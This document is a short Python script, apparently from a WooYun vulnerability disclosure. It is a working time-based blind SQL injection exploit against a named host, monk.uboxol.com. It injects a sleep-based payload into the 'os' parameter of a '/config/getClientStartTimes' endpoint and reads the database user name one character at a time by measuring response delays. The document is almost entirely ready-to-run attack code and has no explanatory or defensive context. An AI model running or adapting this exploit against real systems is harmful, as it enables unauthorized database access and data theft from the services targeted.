WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,28,1):
    for payload in payloads:
        conn = httplib.HTTPConnection('monk.uboxol.com', timeout=60)
        s = '/config/getClientStartTimes?idfa=1&os=a"or(if(ascii(mid((select user())from(%s)for(1)))=%s,sleep(2),1))and"' % (i, ord(payload))
        conn.request(method='GET',
                     url=s,
                     headers=headers)
        start_time = time.time()
        conn.getresponse().read()
        conn.close()
        if time.time() - start_time > 2:
            user += payload
            print '\n[Scan in progress]' + user
            break
        else:
            print '.',
print '\n[Done]MySQL user is ' + user